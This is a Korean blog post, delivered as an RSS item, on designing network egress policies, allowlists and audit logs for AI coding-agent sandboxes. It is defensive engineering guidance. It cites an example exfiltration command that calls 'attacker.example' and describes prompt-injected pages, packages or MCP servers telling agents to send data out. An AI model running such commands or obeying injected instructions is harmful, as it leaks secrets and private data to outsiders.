<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Egress Policy on jyukki's Blog</title><link>https://jyukki.com/tags/egress-policy/</link><description>Recent content in Egress Policy on jyukki's Blog</description><generator>Hugo -- 0.147.0</generator><language>ko-kr</language><lastBuildDate>Sat, 16 May 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://jyukki.com/tags/egress-policy/index.xml" rel="self" type="application/rss+xml"/><item><title>2026 개발 트렌드: Agent Sandbox Egress Policy, AI 코딩 에이전트의 네트워크 출구를 운영 자산으로 다루는 시대</title><link>https://jyukki.com/posts/2026-05-16-agent-sandbox-egress-policy-trend/</link><pubDate>Sat, 16 May 2026 00:00:00 +0000</pubDate><guid>https://jyukki.com/posts/2026-05-16-agent-sandbox-egress-policy-trend/</guid><description>AI 코딩 에이전트가 명령 실행과 웹 접근을 함께 수행하면서, 샌드박스의 핵심은 파일 격리뿐 아니라 네트워크 egress 정책으로 이동하고 있습니다. 팀이 어떤 기준으로 outbound 권한을 열고 감사해야 하는지 정리합니다.</description><content:encoded><![CDATA[<p>AI 코딩 에이전트 논의는 한동안 &ldquo;얼마나 똑똑한가&quot;에 집중했습니다. 더 긴 컨텍스트를 읽는가, 테스트를 고치는가, PR을 만들 수 있는가, 백그라운드에서 오래 일할 수 있는가가 주요 관심사였습니다. 그런데 에이전트가 실제 개발 환경으로 들어올수록 더 중요한 질문이 생깁니다. <strong>이 에이전트는 어디로 접속할 수 있는가?</strong></p>
<p>코딩 에이전트는 이제 단순한 텍스트 생성기가 아닙니다. 터미널에서 패키지를 설치하고, 웹 문서를 가져오고, GitHub issue를 읽고, 내부 API를 호출하고, 때로는 브라우저를 조작합니다. 이 능력은 생산성을 올리지만 동시에 네트워크 출구를 공격 표면으로 만듭니다. 악성 패키지, prompt injection이 숨은 웹 페이지, 오염된 README, compromised MCP server가 에이전트에게 &ldquo;이 내용을 외부 URL로 보내&quot;라고 지시할 수 있습니다. 파일시스템 샌드박스가 있어도 네트워크가 열려 있으면 민감정보는 밖으로 나갈 수 있습니다.</p>
<p>그래서 최근 개발 플랫폼 관점에서 중요해지는 흐름이 <strong>Agent Sandbox Egress Policy</strong>입니다. 샌드박스는 더 이상 <code>/tmp</code> 작업 디렉터리와 컨테이너 격리만 뜻하지 않습니다. 어떤 목적의 네트워크 요청을 허용할지, 어떤 도메인은 package proxy를 통해서만 갈지, 내부망은 어떤 service broker로만 열지, 외부 write는 언제 승인할지까지 포함하는 운영 자산이 됩니다. 이 흐름은 <a href="/posts/2026-05-03-harness-outside-sandbox-agent-control-plane-trend/">Outside-the-Sandbox Harness</a>, <a href="/posts/2026-05-11-agent-workspace-lease-broker-trend/">Agent Workspace Lease Broker</a>, <a href="/posts/2026-04-05-tool-permission-manifest-runtime-attestation-trend/">Tool Permission Manifest</a>, 그리고 오늘 정리한 <a href="/learning/deep-dive/deep-dive-ssrf-egress-control-playbook/">SSRF와 Egress Control</a>과 같은 방향을 봅니다. 에이전트의 자유도를 높일수록 출구는 더 좁고 명시적으로 관리해야 합니다.</p>
<h2 id="이-글에서-얻는-것">이 글에서 얻는 것</h2>
<ul>
<li>AI 코딩 에이전트에서 egress policy가 왜 파일 격리만큼 중요한지 이해할 수 있습니다.</li>
<li>package install, web fetch, internal API, external write를 서로 다른 위험 등급으로 분리할 수 있습니다.</li>
<li>default-deny sandbox, egress broker, allowlist manifest, session budget, 감사 로그를 어떤 순서로 도입할지 정할 수 있습니다.</li>
<li>생산성과 보안 사이의 현실적인 트레이드오프를 숫자와 조건으로 판단할 수 있습니다.</li>
</ul>
<h2 id="핵심-개념이슈">핵심 개념/이슈</h2>
<h3 id="1-에이전트는-코드를-쓰는-모델이-아니라-권한을-가진-컴퓨터-사용자다">1) 에이전트는 &ldquo;코드를 쓰는 모델&quot;이 아니라 &ldquo;권한을 가진 컴퓨터 사용자&quot;다</h3>
<p>사람 개발자는 의심스러운 명령을 보면 멈출 수 있습니다. 에이전트는 더 빠르게 실행하고, 더 많은 파일을 읽고, 더 많은 URL을 열 수 있습니다. 특히 coding agent가 shell, package manager, browser, MCP tool을 함께 가진 순간 위험 모델이 달라집니다. 이때 에이전트는 IDE 플러그인이 아니라 제한된 권한의 작업자 identity로 봐야 합니다.</p>
<p>위험은 아래처럼 나눌 수 있습니다.</p>
<table>
  <thead>
      <tr>
          <th>권한</th>
          <th>생산성 이득</th>
          <th>주요 위험</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>코드 읽기</td>
          <td>빠른 분석</td>
          <td>private logic 노출</td>
      </tr>
      <tr>
          <td>파일 쓰기</td>
          <td>패치 자동화</td>
          <td>대량 변경, secret 삽입</td>
      </tr>
      <tr>
          <td>패키지 설치</td>
          <td>테스트 실행</td>
          <td>malicious dependency, postinstall script</td>
      </tr>
      <tr>
          <td>웹 fetch</td>
          <td>최신 문서 참조</td>
          <td>indirect prompt injection, data exfiltration</td>
      </tr>
      <tr>
          <td>내부 API 호출</td>
          <td>운영 자동화</td>
          <td>과권한, 프로덕션 변경</td>
      </tr>
      <tr>
          <td>외부 전송</td>
          <td>리포트/PR/메시지</td>
          <td>민감정보 유출, 중복 전송</td>
      </tr>
  </tbody>
</table>
<p>이 표에서 네트워크가 들어가는 순간부터 egress policy가 필요합니다. 에이전트가 어떤 instruction을 받았는지 완벽히 통제하기 어렵다면, 실행 가능한 네트워크 범위를 줄여야 합니다.</p>
<h3 id="2-샌드박스가-열려-있는-인터넷을-가진다면-반쪽짜리다">2) 샌드박스가 열려 있는 인터넷을 가진다면 반쪽짜리다</h3>
<p>컨테이너를 쓰면 안전하다고 생각하기 쉽습니다. 하지만 컨테이너 안에서 <code>curl https://attacker.example/upload</code>가 가능하고, repo secret이나 로그가 읽힌다면 유출은 여전히 가능합니다. 심지어 외부 쓰기 권한이 없어도 DNS query, package registry request, image pull, telemetry endpoint를 통해 일부 정보가 새어 나갈 수 있습니다.</p>
<p>그래서 샌드박스 정책은 최소 네 계층으로 봐야 합니다.</p>
<ol>
<li>파일시스템: 어떤 경로를 read/write 할 수 있는가</li>
<li>프로세스: 어떤 binary와 script를 실행할 수 있는가</li>
<li>비밀값: 어떤 token, SSH key, cookie가 mount되는가</li>
<li>네트워크: 어떤 destination, protocol, method로 나갈 수 있는가</li>
</ol>
<p>많은 팀이 1~3번은 논의하지만 4번을 늦게 봅니다. 그러나 에이전트 사고에서 실제 피해는 네트워크를 통해 커지는 경우가 많습니다. 내부 정보가 외부로 나가거나, 외부에서 가져온 지시가 내부 작업에 영향을 주기 때문입니다.</p>
<h3 id="3-egress-권한은-목적별-capability로-나눠야-한다">3) Egress 권한은 목적별 capability로 나눠야 한다</h3>
<p>&ldquo;인터넷 허용&quot;은 너무 넓습니다. 코딩 에이전트가 필요한 네트워크 작업은 대부분 몇 가지 capability로 분해할 수 있습니다.</p>
<table>
  <thead>
      <tr>
          <th>Capability</th>
          <th>예시</th>
          <th>권장 기본값</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Package read</td>
          <td>npm, PyPI, Maven, container registry</td>
          <td>proxy/mirror 경유, lockfile 우선</td>
      </tr>
      <tr>
          <td>Docs read</td>
          <td>공식 문서, GitHub README</td>
          <td>GET만 허용, body size 제한</td>
      </tr>
      <tr>
          <td>Search/fetch</td>
          <td>웹 검색, issue reference</td>
          <td>broker 경유, untrusted content 표시</td>
      </tr>
      <tr>
          <td>SCM read/write</td>
          <td>GitHub issue/PR/comment</td>
          <td>repo-scoped token, write는 승인 필요</td>
      </tr>
      <tr>
          <td>Internal read</td>
          <td>observability, docs, feature flag 조회</td>
          <td>service broker 경유, read-only token</td>
      </tr>
      <tr>
          <td>Internal write</td>
          <td>배포, 권한, 설정 변경</td>
          <td>기본 deny, 명시 승인</td>
      </tr>
      <tr>
          <td>External write</td>
          <td>Slack/Discord/email/webhook</td>
          <td>기본 deny, 사용자 확인</td>
      </tr>
  </tbody>
</table>
<p>이렇게 나누면 예외를 설명할 수 있습니다. 예를 들어 &ldquo;문서 fetch는 필요하지만 외부 POST는 필요 없다&quot;는 정책이 가능해집니다. <a href="/posts/2026-04-30-tool-contract-test-agent-runtime-trend/">Tool Contract Test</a>가 tool input/output 계약을 검증하듯, egress policy도 capability와 목적을 기준으로 검증해야 합니다.</p>
<h3 id="4-policy-manifest는-샌드박스-실행-전-계약이다">4) Policy manifest는 샌드박스 실행 전 계약이다</h3>
<p>좋은 에이전트 플랫폼은 작업 시작 전에 policy manifest를 생성하거나 선택합니다. 예를 들어 dependency update 작업과 production incident triage 작업은 필요한 네트워크가 다릅니다.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#ff79c6">job</span>: dependency-update
</span></span><span style="display:flex;"><span><span style="color:#ff79c6">risk</span>: medium
</span></span><span style="display:flex;"><span><span style="color:#ff79c6">network</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ff79c6">default</span>: deny
</span></span><span style="display:flex;"><span>  <span style="color:#ff79c6">allow</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#ff79c6">capability</span>: package_read
</span></span><span style="display:flex;"><span>      <span style="color:#ff79c6">destinations</span>: [<span style="color:#f1fa8c">&#34;registry.npmjs.org&#34;</span>, <span style="color:#f1fa8c">&#34;pypi.org&#34;</span>, <span style="color:#f1fa8c">&#34;repo.maven.apache.org&#34;</span>]
</span></span><span style="display:flex;"><span>      <span style="color:#ff79c6">methods</span>: [<span style="color:#f1fa8c">&#34;GET&#34;</span>, <span style="color:#f1fa8c">&#34;HEAD&#34;</span>]
</span></span><span style="display:flex;"><span>      <span style="color:#ff79c6">via</span>: <span style="color:#f1fa8c">&#34;package-proxy&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#ff79c6">max_bytes</span>: <span style="color:#f1fa8c">&#34;200MB&#34;</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#ff79c6">capability</span>: scm_write
</span></span><span style="display:flex;"><span>      <span style="color:#ff79c6">destinations</span>: [<span style="color:#f1fa8c">&#34;api.github.com&#34;</span>]
</span></span><span style="display:flex;"><span>      <span style="color:#ff79c6">methods</span>: [<span style="color:#f1fa8c">&#34;GET&#34;</span>, <span style="color:#f1fa8c">&#34;POST&#34;</span>]
</span></span><span style="display:flex;"><span>      <span style="color:#ff79c6">approval_required_for</span>: [<span style="color:#f1fa8c">&#34;merge_pr&#34;</span>, <span style="color:#f1fa8c">&#34;comment_external&#34;</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#ff79c6">deny</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f1fa8c">&#34;169.254.169.254/32&#34;</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#f1fa8c">&#34;10.0.0.0/8&#34;</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#f1fa8c">&#34;172.16.0.0/12&#34;</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#f1fa8c">&#34;192.168.0.0/16&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#ff79c6">limits</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ff79c6">total_egress_mb</span>: <span style="color:#bd93f9">500</span>
</span></span><span style="display:flex;"><span>  <span style="color:#ff79c6">unique_hosts</span>: <span style="color:#bd93f9">20</span>
</span></span><span style="display:flex;"><span>  <span style="color:#ff79c6">session_ttl_minutes</span>: <span style="color:#bd93f9">120</span>
</span></span></code></pre></div><p>핵심은 이 manifest가 장식 문서가 아니라 실제 네트워크 enforcement와 연결되어야 한다는 점입니다. 설정 파일에는 deny라고 쓰여 있는데 컨테이너가 직접 인터넷으로 나갈 수 있으면 의미가 없습니다.</p>
<h3 id="5-감사-로그는-무엇을-요청했는가보다-왜-허용됐는가를-남겨야-한다">5) 감사 로그는 &ldquo;무엇을 요청했는가&quot;보다 &ldquo;왜 허용됐는가&quot;를 남겨야 한다</h3>
<p>에이전트의 네트워크 로그는 단순 access log보다 목적 정보가 필요합니다. 같은 <code>api.github.com</code> 요청도 issue 읽기인지 PR 생성인지, bot comment인지, release publish인지에 따라 위험이 다릅니다.</p>
<p>최소 로그 필드는 아래가 좋습니다.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>session_id, task_id, agent_id, policy_id,
</span></span><span style="display:flex;"><span>capability, destination_host, resolved_ip,
</span></span><span style="display:flex;"><span>method, bytes_out, bytes_in,
</span></span><span style="display:flex;"><span>decision(allow|deny), reason,
</span></span><span style="display:flex;"><span>approval_id(optional), tool_call_id(optional), trace_id
</span></span></code></pre></div><p>알림 기준도 숫자로 잡습니다.</p>
<ul>
<li>deny된 private CIDR 요청이 세션당 <strong>3회 이상</strong>이면 세션 격리 후 검토</li>
<li>allowlist에 없는 unique host가 <strong>10분에 10개 이상</strong>이면 web fetch abuse 의심</li>
<li>외부 POST/PUT/PATCH/DELETE는 기본 deny, 예외는 approval_id 필수</li>
<li>package registry 외부 다운로드가 lockfile 범위를 벗어나면 quarantine</li>
<li>세션 egress budget의 **80%**를 넘으면 사용자 확인 또는 작업 중단</li>
</ul>
<p>이 기준은 보안팀만을 위한 것이 아닙니다. 나중에 에이전트가 왜 실패했는지, 어떤 문서를 읽었는지, 어떤 외부 호출이 변경으로 이어졌는지 개발팀이 이해하는 데도 필요합니다.</p>
<h2 id="실무-적용">실무 적용</h2>
<h3 id="1-첫-단계는-default-deny가-아니라-관측-가능한-deny-후보-만들기다">1) 첫 단계는 default-deny가 아니라 &ldquo;관측 가능한 deny 후보&rdquo; 만들기다</h3>
<p>기존 개발 환경에 바로 default-deny를 걸면 테스트와 패키지 설치가 깨질 수 있습니다. 현실적인 시작은 observe mode입니다. 1~2주 동안 에이전트 세션의 outbound destination을 수집하고, 기능별로 분류합니다.</p>
<p>분류 기준은 아래처럼 단순해도 됩니다.</p>
<ul>
<li>package registry: npm, PyPI, Maven, Docker registry</li>
<li>SCM: GitHub/GitLab API, git remote</li>
<li>docs: 공식 문서, README, issue link</li>
<li>search/fetch: 일반 웹</li>
<li>internal: 사내 도메인, private CIDR, VPN-only host</li>
<li>unknown: 위 분류에 없는 host</li>
</ul>
<p>그다음 unknown과 internal을 우선 차단 후보로 둡니다. 2주 동안 실제로 필요한 host가 확인되면 owner와 만료일을 붙여 allowlist에 올립니다. 관측 없이 차단하면 불필요한 마찰이 크고, 관측만 하고 정책을 만들지 않으면 로그 쓰레기가 됩니다.</p>
<h3 id="2-package-install은-인터넷-직접-접근-대신-프록시로-보낸다">2) package install은 인터넷 직접 접근 대신 프록시로 보낸다</h3>
<p>코딩 에이전트가 가장 자주 쓰는 네트워크는 패키지 설치입니다. <code>npm install</code>, <code>pip install</code>, <code>mvn test</code>, <code>go test</code>가 모두 외부 registry에 접근할 수 있습니다. 이 경로는 공급망 보안과 연결되므로 직접 인터넷보다 package proxy나 read-only mirror를 쓰는 편이 낫습니다.</p>
<p>초기 기준은 아래가 좋습니다.</p>
<ul>
<li>lockfile이 있으면 lockfile 범위 밖 major upgrade 금지</li>
<li>postinstall script 실행은 기본 차단 또는 별도 승인</li>
<li>registry는 공식 mirror/proxy만 허용</li>
<li>새 dependency 추가는 PR diff에 자동 표시</li>
<li>known malicious package, typosquatting, maintainer change 신호는 quarantine</li>
<li>에이전트가 생성한 lockfile 변경은 사람이 review하기 전 merge 금지</li>
</ul>
<p>이 흐름은 <a href="/posts/2026-05-07-dependency-update-pipeline-trend/">Dependency Update Pipeline</a>과 <a href="/posts/2026-05-12-package-release-quarantine-gate-trend/">Package Release Quarantine Gate</a>와 직접 연결됩니다. 에이전트가 dependency 작업을 빠르게 만들수록 quarantine과 review는 더 중요해집니다.</p>
<h3 id="3-웹-fetch는-읽기-전용-broker를-통하게-한다">3) 웹 fetch는 읽기 전용 broker를 통하게 한다</h3>
<p>에이전트가 공식 문서나 issue를 읽는 것은 유용합니다. 하지만 일반 웹 페이지는 prompt injection의 입력이기도 합니다. 그래서 웹 fetch는 broker를 통해 읽기 전용으로 제한합니다.</p>
<p>권장 정책은 아래입니다.</p>
<ul>
<li>method는 <code>GET</code>, <code>HEAD</code>만 허용</li>
<li>request body는 금지</li>
<li>cookie, Authorization header는 기본 제거</li>
<li>private/link-local/metadata IP 차단</li>
<li>redirect는 최대 2회, hop마다 재검증</li>
<li>body 상한은 문서 2~5MB, PDF/첨부는 별도 승인</li>
<li>가져온 본문은 untrusted content로 표시하고 system instruction처럼 취급하지 않음</li>
</ul>
<p>이 기준은 <a href="/posts/2026-05-10-llm-readable-docs-surface-trend/">LLM-readable Docs Surface</a>에도 중요합니다. 문서를 에이전트가 읽기 쉽게 만드는 만큼, 그 문서가 에이전트에게 지시할 수 있는 것처럼 오해하지 않게 경계를 둬야 합니다.</p>
<h3 id="4-내부-api는-직접-열지-말고-service-broker로-추상화한다">4) 내부 API는 직접 열지 말고 service broker로 추상화한다</h3>
<p>가장 위험한 패턴은 에이전트 샌드박스가 VPN 안에서 내부 API 전체를 볼 수 있는 구조입니다. 이 경우 prompt injection 하나가 staging admin API, feature flag, observability, 배포 시스템으로 이어질 수 있습니다.</p>
<p>대신 내부 API는 broker tool로 노출합니다.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Agent Sandbox → approved tool call → Service Broker → Internal API
</span></span></code></pre></div><p>broker는 action을 read-only, proposal, approval-required write로 나눕니다. 예를 들어 로그 조회는 read-only, rollback plan 생성은 proposal, 실제 rollback은 approval-required write입니다. 이 구분은 <a href="/posts/2026-05-15-mcp-apps-conversation-native-ui-trend/">MCP Apps</a>에서 다룬 action risk와도 같습니다. 네트워크를 직접 열기보다 의미 있는 도구로 감싸면 권한과 감사가 쉬워집니다.</p>
<h3 id="5-rollout은-세-단계로-가져간다">5) rollout은 세 단계로 가져간다</h3>
<p>바로 완벽한 egress control을 만들려고 하면 느려집니다. 추천 rollout은 아래입니다.</p>
<ol>
<li><strong>Observe</strong>: 모든 outbound를 로그로 수집하고 private/unknown 요청을 표시한다. 기간은 1~2주.</li>
<li><strong>Soft deny</strong>: private CIDR, metadata endpoint, 외부 write를 차단하되 override 요청을 받을 수 있게 한다. 기간은 2~4주.</li>
<li><strong>Default deny</strong>: capability allowlist에 없는 destination은 막고, policy manifest 없는 세션은 네트워크를 열지 않는다.</li>
</ol>
<p>성공 기준도 정합니다.</p>
<ul>
<li>정상 작업 실패율이 5% 이하로 유지된다.</li>
<li>unknown host 비율이 2주 연속 전체 outbound의 5% 이하가 된다.</li>
<li>private/metadata deny 이벤트가 0 또는 설명 가능한 테스트로만 남는다.</li>
<li>policy exception의 90% 이상에 owner와 expires_at이 있다.</li>
<li>외부 write action은 100% approval_id를 가진다.</li>
</ul>
<p>이 정도 숫자가 있어야 보안 정책이 감이 아니라 운영 품질로 관리됩니다.</p>
<h2 id="실패-모드별-대응-매트릭스">실패 모드별 대응 매트릭스</h2>
<p>Egress policy는 차단 규칙 목록으로만 운영하면 오래가지 못합니다. 실제 운영에서는 &ldquo;왜 막혔는지&rdquo;, &ldquo;누가 예외를 열 수 있는지&rdquo;, &ldquo;예외가 끝난 뒤 무엇을 지울지&quot;가 같이 있어야 합니다. 아래처럼 실패 모드를 미리 나눠두면 보안팀과 플랫폼팀, 개발팀이 같은 언어로 대화하기 쉬워집니다.</p>
<table>
  <thead>
      <tr>
          <th>실패 모드</th>
          <th>흔한 원인</th>
          <th>즉시 대응</th>
          <th>재발 방지</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>공식 문서 fetch 실패</td>
          <td>allowlist 누락, redirect host 미등록</td>
          <td>broker 로그에서 최종 host와 redirect chain 확인 후 read-only 예외 검토</td>
          <td>docs_read capability에 owner와 expires_at 추가</td>
      </tr>
      <tr>
          <td>패키지 설치 실패</td>
          <td>lockfile 밖 dependency, postinstall script, registry mirror 미동기화</td>
          <td>proxy cache 상태와 lockfile diff 확인</td>
          <td>dependency update pipeline에 quarantine reason 노출</td>
      </tr>
      <tr>
          <td>내부 API 접근 차단</td>
          <td>에이전트가 직접 사내망 endpoint를 호출</td>
          <td>직접 접근은 유지 차단, 필요한 조회만 service broker action으로 설계</td>
          <td>internal_read와 internal_write action을 분리</td>
      </tr>
      <tr>
          <td>외부 POST 차단</td>
          <td>리포트 전송, webhook 호출, 악성 지시 가능성</td>
          <td>본문에 secret 포함 여부 확인 후 사용자 승인 필요</td>
          <td>external_write는 approval_id와 redaction 로그 필수화</td>
      </tr>
      <tr>
          <td>unknown host 급증</td>
          <td>검색 결과 무차별 fetch, 패키지 transitive download, prompt injection</td>
          <td>세션 일시 중단 후 top host와 bytes_out 확인</td>
          <td>unique host budget과 domain category 정책 강화</td>
      </tr>
      <tr>
          <td>metadata endpoint 접근</td>
          <td>cloud SDK 기본 credential discovery, 악성 스크립트</td>
          <td>즉시 차단 유지, credential mount 여부 확인</td>
          <td>169.254.169.254/32와 provider metadata host를 base deny에 고정</td>
      </tr>
  </tbody>
</table>
<p>이 매트릭스의 핵심은 차단을 &ldquo;실패&quot;로만 보지 않는 것입니다. 차단 이벤트는 정책이 실제로 작동했다는 신호이기도 합니다. 다만 같은 유형의 차단이 반복되면 개발자가 우회하기 시작하므로, 반복 이벤트는 둘 중 하나로 결론을 내야 합니다. 정말 필요한 작업이면 좁은 capability로 승격하고, 불필요하거나 위험한 작업이면 deny reason을 더 명확하게 보여줍니다.</p>
<p>예외 처리도 숫자로 관리하는 편이 좋습니다. 예를 들어 <code>docs_read</code> 예외는 30일, <code>package_read</code> 예외는 lockfile 갱신 주기까지, <code>internal_read</code> 예외는 incident 종료 시점까지, <code>external_write</code> 예외는 단일 실행으로 제한합니다. 만료 없는 예외는 시간이 지나면 사실상 기본 허용이 됩니다. 따라서 예외 목록에는 최소한 <code>owner</code>, <code>reason</code>, <code>created_at</code>, <code>expires_at</code>, <code>last_used_at</code>, <code>linked_task</code>가 있어야 합니다.</p>
<p>운영 대시보드도 화려할 필요는 없습니다. 첫 버전은 아래 5개만 보여줘도 충분합니다.</p>
<ul>
<li>세션별 allow/deny 비율과 deny top reason</li>
<li>capability별 bytes_out, bytes_in, unique host 수</li>
<li>private CIDR·metadata endpoint 접근 시도 수</li>
<li>approval_id 없는 external write 시도 수</li>
<li>만료 예정 또는 만료 지난 policy exception 수</li>
</ul>
<p>이 지표가 있으면 &ldquo;보안 때문에 느려졌다&quot;와 &ldquo;안전하게 필요한 만큼만 열었다&quot;를 구분할 수 있습니다. 특히 에이전트 운영은 실패가 조용히 묻히면 다음에는 더 넓은 권한으로 재시도되는 경향이 있습니다. 그래서 차단 이벤트를 개발자 경험 안에 잘 설명하고, 필요한 예외 신청 경로를 짧게 만드는 것이 장기적으로 더 안전합니다.</p>
<h2 id="트레이드오프주의점">트레이드오프/주의점</h2>
<h3 id="1-너무-빨리-막으면-에이전트가-쓸모없어진다">1) 너무 빨리 막으면 에이전트가 쓸모없어진다</h3>
<p>개발 작업은 예외가 많습니다. 새 문서를 읽어야 하고, 새 패키지를 받아야 하고, CI 로그 링크를 따라가야 합니다. 모든 것을 deny하면 사용자는 결국 샌드박스를 우회하거나 더 넓은 권한의 로컬 환경으로 돌아갑니다. 그래서 처음에는 high-risk destination부터 막는 편이 낫습니다. metadata endpoint, private CIDR, 외부 POST, credential 포함 request는 즉시 차단하고, read-only docs fetch는 관측 후 제한합니다.</p>
<h3 id="2-너무-넓게-열면-샌드박스의-의미가-사라진다">2) 너무 넓게 열면 샌드박스의 의미가 사라진다</h3>
<p>반대로 <code>*.github.com</code>, <code>*.amazonaws.com</code>, <code>*</code> 같은 wildcard가 늘어나면 policy는 금방 무력화됩니다. wildcard는 owner, reason, expiry, last_seen을 요구하고 30~90일마다 재승인하는 편이 좋습니다. 특히 cloud storage wildcard는 데이터 유출 경로가 될 수 있으므로 read-only와 write를 분리해야 합니다.</p>
<h3 id="3-byoc나-사내-실행-환경은-책임도-같이-가져온다">3) BYOC나 사내 실행 환경은 책임도 같이 가져온다</h3>
<p>에이전트를 조직의 VPC 안에서 실행하면 데이터 경계는 좋아질 수 있습니다. 하지만 그만큼 내부망 접근 위험도 커집니다. &ldquo;우리 클라우드 안에서 도니까 안전하다&quot;가 아니라, 우리 클라우드의 security group, route table, NAT, DNS, IAM 정책을 에이전트용으로 다시 설계해야 합니다. BYOC는 통제권을 주지만 기본값을 자동으로 안전하게 만들지는 않습니다.</p>
<h3 id="4-프롬프트-방어와-네트워크-방어를-혼동하지-않는다">4) 프롬프트 방어와 네트워크 방어를 혼동하지 않는다</h3>
<p>prompt injection 탐지는 필요하지만 완전한 방어가 아닙니다. 모델이 악성 지시를 무시하길 기대하는 것보다, 설령 지시를 따르려 해도 네트워크가 막혀 있도록 만드는 편이 안전합니다. 좋은 구조는 &ldquo;모델이 실수해도 egress policy가 막고, policy가 막은 이벤트를 감사 로그가 설명하는&rdquo; 형태입니다.</p>
<h2 id="체크리스트-또는-연습">체크리스트 또는 연습</h2>
<h3 id="운영-체크리스트">운영 체크리스트</h3>
<ul>
<li><input disabled="" type="checkbox"> 에이전트 세션의 outbound destination을 1~2주 관측했다.</li>
<li><input disabled="" type="checkbox"> private CIDR, loopback, link-local, metadata endpoint는 기본 차단한다.</li>
<li><input disabled="" type="checkbox"> package install은 proxy/mirror를 통해서만 허용한다.</li>
<li><input disabled="" type="checkbox"> web fetch는 GET/HEAD만 허용하고 cookie/Authorization header를 제거한다.</li>
<li><input disabled="" type="checkbox"> 내부 API는 직접 네트워크 접근이 아니라 service broker/tool을 통해 호출한다.</li>
<li><input disabled="" type="checkbox"> 외부 POST/PUT/PATCH/DELETE는 approval_id 없이는 실패한다.</li>
<li><input disabled="" type="checkbox"> policy manifest에는 owner, risk, capability, destination, method, expires_at이 있다.</li>
<li><input disabled="" type="checkbox"> 세션별 egress byte budget과 unique host budget을 둔다.</li>
<li><input disabled="" type="checkbox"> deny 이벤트는 session_id, policy_id, reason, trace_id로 추적 가능하다.</li>
<li><input disabled="" type="checkbox"> policy 예외는 30~90일마다 재검토된다.</li>
</ul>
<h3 id="연습-문제">연습 문제</h3>
<p>다음 상황을 가정해보세요.</p>
<blockquote>
<p>팀이 백그라운드 코딩 에이전트에게 dependency update PR 생성을 맡기려 한다. 에이전트는 private repo를 읽고, 테스트를 실행하고, 필요한 패키지를 설치하고, PR을 열 수 있어야 한다. 운영 API나 사내 관리자 페이지에는 접근하면 안 된다.</p></blockquote>
<p>권장 정책은 아래처럼 설계할 수 있습니다.</p>
<ol>
<li>repo checkout과 작업 디렉터리 write는 허용하되, SSH key와 cloud credential은 mount하지 않는다.</li>
<li>npm/PyPI/Maven 접근은 package proxy로만 허용한다.</li>
<li>GitHub API는 해당 repo의 issue/branch/PR scope만 허용한다.</li>
<li>외부 웹 fetch는 공식 docs allowlist 또는 broker GET으로만 허용한다.</li>
<li>private CIDR, metadata endpoint, 사내 admin domain은 네트워크 레벨에서 deny한다.</li>
<li>PR 생성은 허용하되 merge, release publish, 외부 메시지 전송은 승인 필요 action으로 둔다.</li>
<li>세션 egress budget은 500MB, unique host는 20개, TTL은 2시간으로 시작한다.</li>
<li>lockfile 외 dependency 추가, postinstall script 실행, unknown binary download는 quarantine한다.</li>
</ol>
<p>이 설계의 목적은 에이전트를 무력화하는 것이 아닙니다. 필요한 개발 작업은 하게 하되, 작업 범위를 벗어난 네트워크 행동이 사고로 이어지지 않게 만드는 것입니다. 앞으로 코딩 에이전트가 더 강해질수록 경쟁력은 &ldquo;얼마나 많이 시키는가&quot;보다 <strong>얼마나 좁은 권한으로 안전하게 시키는가</strong>에서 갈릴 가능성이 큽니다.</p>
]]></content:encoded></item></channel></rss>